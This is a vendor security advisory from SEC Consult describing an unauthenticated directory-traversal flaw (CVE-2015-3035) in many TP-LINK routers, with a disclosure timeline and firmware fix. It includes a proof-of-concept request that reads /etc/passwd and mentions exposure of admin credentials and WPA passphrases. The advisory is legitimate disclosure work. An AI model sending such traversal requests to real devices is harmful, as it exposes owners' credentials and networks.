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Date: Fri, 10 Apr 2015 13:45:03 +0200
From: SEC Consult Vulnerability Lab <>
To: <>, <>
Subject: SEC Consult SA-20150410-0 :: Unauthenticated Local File Disclosure
 in multiple TP-LINK products (CVE-2015-3035)

SEC Consult Vulnerability Lab Security Advisory < 20150410-0 >
              title: Unauthenticated Local File Disclosure
            product: Multiple TP-LINK products (see Vulnerable / tested versions)
 vulnerable version: Multiple (see Vulnerable / tested versions)
      fixed version: see Solution
         CVE number: CVE-2015-3035
             impact: Critical
              found: 2015-02-19
                 by: Stefan Viehböck (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Berlin - Frankfurt/Main - Montreal - Singapore
                     Vienna (HQ) - Vilnius - Zurich



Vendor description:
"TP-LINK is a global provider of SOHO & SMB networking products and the World's
No.1 provider of WLAN products, with products available in over 120 countries
to tens of millions customers. Committed to intensive R&D, efficient production
and strict quality management, TP-LINK continues to provide award-winning
networking products in Wireless, ADSL, Routers, Switches, IP Cameras, Powerline
Adapters, Print Servers, Media Converters and Network Adapters for Global


Business recommendation:
Attackers can read sensitive configuration files without prior authentication.
These files e.g. include the administrator credentials and the WPA passphrase.

TP-LINK has provided fixed firmware which should be installed immediately.

Vulnerability overview/description:
Because of insufficient input validation, arbitrary local files can be
disclosed. Files that include passwords and other sensitive information can
be accessed.

Proof of concept:
The following HTTP request shows how directory traversal can be used to gain
access to files without prior authentication:
GET /login/../../../etc/passwd HTTP/1.1
Host: $host


The server response includes the contents of the file:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: Keep-Alive
WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"
Content-Length: 683
Content-Type: text/html
ap71:x:500:0:Linux User,,,:/root:/bin/sh

Several sensitive files can be read. These include:
Files containing Wi-Fi configuration including WPA-passphrase:

A file containing administrator credentials (format: $user:md5($password), which can
be brute-forced very efficiently:

Example server response:
HTTP/1.1 200 OK
Server: Router Webserver
Connection: Keep-Alive
WWW-Authenticate: Basic realm="TP-LINK Wireless Dual Band Gigabit Router WDR4300"
Content-Length: 56
Content-Type: text/html

Vulnerable / tested versions:
The vulnerability affects the following products:
TP-LINK Archer C5 (Hardware version 1.2)
TP-LINK Archer C7 (Hardware version 2.0)
TP-LINK Archer C8 (Hardware version 1.0)
TP-LINK Archer C9 (Hardware version 1.0)
TP-LINK TL-WDR3500 (Hardware version 1.0)
TP-LINK TL-WDR3600 (Hardware version 1.0)
TP-LINK TL-WDR4300 (Hardware version 1.0)
TP-LINK TL-WR740N (Hardware version 5.0)
TP-LINK TL-WR741ND (Hardware version 5.0)
TP-LINK TL-WR841N (Hardware version 9.0)
TP-LINK TL-WR841N (Hardware version 10.0)
TP-LINK TL-WR841ND (Hardware version 9.0)
TP-LINK TL-WR841ND (Hardware version 10.0)

Vendor contact timeline:
2015-02-19: Contacting vendor through
2015-02-24: Resending email as previous ticket has been closed by TP-LINK.
2015-02-24: Contacting technical support engineer of TP-LINK, contact received
            by 3rd party.
2015-02-25: Requesting encryption keys, providing affected models.
2015-02-26: No encryption keys available, sending advisory in unencrypted form.
2015-02-28: Vendor confirms vulnerability, provides beta firmware.
2015-03-03: Sending confirmation that beta firmware fixes the vulnerability.
2015-03-06: Vendor is working on release schedule, affected devices.
2015-03-16: Vendor announces that fixed firmware will be released by the end of
2015-03-24: Vendor confirms that firmware releases are on schedule.
2015-04-08: Vendor provides final list of affected products & download URLs.
2015-04-10: Coordinated release of security advisory.

Update to the most recent firmware version:
TP-LINK Archer C5 (Hardware version 1.2):
TP-LINK Archer C7 (Hardware version 2.0):
TP-LINK Archer C8 (Hardware version 1.0):
TP-LINK Archer C9 (Hardware version 1.0):
TP-LINK TL-WDR3500 (Hardware version 1.0):
TP-LINK TL-WDR3600 (Hardware version 1.0):
TP-LINK TL-WDR4300 (Hardware version 1.0):
TP-LINK TL-WR740N (Hardware version 5.0):
TP-LINK TL-WR741ND (Hardware version 5.0):
TP-LINK TL-WR841N (Hardware version 9.0):
TP-LINK TL-WR841N (Hardware version 10.0):
TP-LINK TL-WR841ND (Hardware version 9.0):
TP-LINK TL-WR841ND (Hardware version 10.0):

See solution.

Advisory URL:


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EOF Stefan Viehböck / @2015

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